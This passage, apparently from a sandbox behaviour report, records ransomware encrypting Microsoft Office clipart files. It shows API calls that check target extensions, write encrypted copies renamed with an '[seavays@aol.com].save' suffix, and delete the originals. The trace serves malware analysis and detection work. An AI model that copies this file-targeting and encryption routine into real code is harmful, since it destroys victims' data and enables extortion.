(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0076.480] lstrlenW (lpString=".dbf") returned 4 [0076.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0076.480] lstrlenW (lpString=".1cd") returned 4 [0076.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0076.481] lstrlenW (lpString=".jpg") returned 4 [0076.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.481] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.481] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0076.493] GetLastError () returned 0x0 [0076.493] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x2454, lpOverlapped=0x0) returned 1 [0076.904] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x2460, lpOverlapped=0x0) returned 1 [0076.905] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.905] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0076.905] SetEndOfFile (hFile=0x378) returned 1 [0077.213] CloseHandle (hObject=0x378) returned 1 [0077.213] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.214] SetEndOfFile (hFile=0x390) returned 1 [0077.215] CloseHandle (hObject=0x390) returned 1 [0077.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0077.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0077.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0077.279] lstrlenW (lpString=".doc") returned 4 [0077.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.279] lstrlenW (lpString=".docx") returned 5 [0077.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.279] lstrlenW (lpString=".pdf") returned 4 [0077.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.279] lstrlenW (lpString=".xls") returned 4 [0077.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.279] lstrlenW (lpString=".xlsx") returned 5 [0077.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.279] lstrlenW (lpString=".ppt") returned 4 [0077.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0077.279] lstrlenW (lpString=".zip") returned 4 [0077.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.280] lstrlenW (lpString=".rar") returned 4 [0077.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.280] lstrlenW (lpString=".bz2") returned 4 [0077.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.280] lstrlenW (lpString=".7z") returned 3 [0077.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0077.280] lstrlenW (lpString=".dbf") returned 4 [0077.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0077.280] lstrlenW (lpString=".1cd") returned 4 [0077.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0077.280] lstrlenW (lpString=".jpg") returned 4 [0077.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.281] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.281] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0077.282] GetLastError () returned 0x0 [0077.282] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1efc, lpOverlapped=0x0) returned 1 [0077.284] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1f00, lpOverlapped=0x0) returned 1 [0077.286] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.286] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.286] SetEndOfFile (hFile=0x378) returned 1 [0077.286] CloseHandle (hObject=0x378) returned 1 [0077.286] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.286] SetEndOfFile (hFile=0x390) returned 1 [0077.288] CloseHandle (hObject=0x390) returned 1 [0077.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0077.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0077.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0077.289] lstrlenW (lpString=".doc") returned 4 [0077.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.289] lstrlenW (lpString=".docx") returned 5 [0077.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.289] lstrlenW (lpString=".pdf") returned 4 [0077.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.289] lstrlenW (lpString=".xls") returned 4 [0077.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.289] lstrlenW (lpString=".xlsx") returned 5 [0077.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.289] lstrlenW (lpString=".ppt") returned 4 [0077.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0077.289] lstrlenW (lpString=".zip") returned 4 [0077.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.289] lstrlenW (lpString=".rar") returned 4 [0077.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.289] lstrlenW (lpString=".bz2") returned 4 [0077.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.290] lstrlenW (lpString=".7z") returned 3 [0077.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0077.290] lstrlenW (lpString=".dbf") returned 4 [0077.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0077.290] lstrlenW (lpString=".1cd") returned 4 [0077.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0077.290] lstrlenW (lpString=".jpg") returned 4 [0077.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.291] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.291] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0077.292] GetLastError () returned 0x0 [0077.292] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x15b0, lpOverlapped=0x0) returned 1 [0077.296] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x15c0, lpOverlapped=0x0) returned 1 [0077.298] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.298] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.298] SetEndOfFile (hFile=0x378) returned 1 [0077.298] CloseHandle (hObject=0x378) returned 1 [0077.298] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.298] SetEndOfFile (hFile=0x390) returned 1 [0077.300] CloseHandle (hObject=0x390) returned 1 [0077.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0077.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0077.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0077.301] lstrlenW (lpString=".doc") returned 4 [0077.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.301] lstrlenW (lpString=".docx") returned 5 [0077.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.301] lstrlenW (lpString=".pdf") returned 4 [0077.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.301] lstrlenW (lpString=".xls") returned 4 [0077.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.301] lstrlenW (lpString=".xlsx") returned 5 [0077.301] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.301] lstrlenW (lpString=".ppt") returned 4 [0077.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0077.301] lstrlenW (lpString=".zip") returned 4 [0077.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.301] lstrlenW (lpString=".rar") returned 4 [0077.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.301] lstrlenW (lpString=".bz2") returned 4 [0077.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.302] lstrlenW (lpString=".7z") returned 3 [0077.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0077.302] lstrlenW (lpString=".dbf") returned 4 [0077.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0077.302] lstrlenW (lpString=".1cd") returned 4 [0077.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0077.302] lstrlenW (lpString=".jpg") returned 4 [0077.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.303] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.303] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0077.304] GetLastError () returned 0x0 [0077.304] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x136a, lpOverlapped=0x0) returned 1 [0077.306] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1370, lpOverlapped=0x0) returned 1 [0077.307] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.307] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.308] SetEndOfFile (hFile=0x378) returned 1 [0077.308] CloseHandle (hObject=0x378) returned 1 [0077.308] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.308] SetEndOfFile (hFile=0x390) returned 1 [0077.309] CloseHandle (hObject=0x390) returned 1 [0077.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0077.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0077.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0077.978] lstrlenW (lpString=".doc") returned 4 [0077.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.978] lstrlenW (lpString=".docx") returned 5 [0077.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.978] lstrlenW (lpString=".pdf") returned 4 [0077.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.978] lstrlenW (lpString=".xls") returned 4 [0077.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.978] lstrlenW (lpString=".xlsx") returned 5 [0077.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.978] lstrlenW (lpString=".ppt") returned 4 [0077.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0077.979] lstrlenW (lpString=".zip") returned 4 [0077.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.979] lstrlenW (lpString=".rar") returned 4 [0077.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.979] lstrlenW (lpString=".bz2") returned 4 [0077.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.979] lstrlenW (lpString=".7z") returned 3 [0077.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0077.979] lstrlenW (lpString=".dbf") returned 4 [0077.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0077.979] lstrlenW (lpString=".1cd") returned 4 [0077.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0077.979] lstrlenW (lpString=".jpg") returned 4 [0077.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.980] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.980] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0077.981] GetLastError () returned 0x0 [0077.981] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x23d4, lpOverlapped=0x0) returned 1 [0077.983] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x23e0, lpOverlapped=0x0) returned 1 [0077.984] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.985] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.985] SetEndOfFile (hFile=0x2e8) returned 1 [0077.985] CloseHandle (hObject=0x2e8) returned 1 [0077.985] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.985] SetEndOfFile (hFile=0x30c) returned 1 [0077.986] CloseHandle (hObject=0x30c) returned 1 [0077.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0077.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0077.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0077.987] lstrlenW (lpString=".doc") returned 4 [0077.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.987] lstrlenW (lpString=".docx") returned 5 [0077.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.987] lstrlenW (lpString=".pdf") returned 4 [0077.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.988] lstrlenW (lpString=".xls") returned 4 [0077.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.988] lstrlenW (lpString=".xlsx") returned 5 [0077.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.988] lstrlenW (lpString=".ppt") returned 4 [0077.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0077.988] lstrlenW (lpString=".zip") returned 4 [0077.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.988] lstrlenW (lpString=".rar") returned 4 [0077.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.988] lstrlenW (lpString=".bz2") returned 4 [0077.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.988] lstrlenW (lpString=".7z") returned 3 [0077.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0077.988] lstrlenW (lpString=".dbf") returned 4 [0077.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0077.988] lstrlenW (lpString=".1cd") returned 4 [0077.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0077.988] lstrlenW (lpString=".jpg") returned 4 [0077.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.990] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.990] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0077.991] GetLastError () returned 0x0 [0077.991] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x31cc, lpOverlapped=0x0) returned 1 [0077.993] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x31d0, lpOverlapped=0x0) returned 1 [0077.994] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, 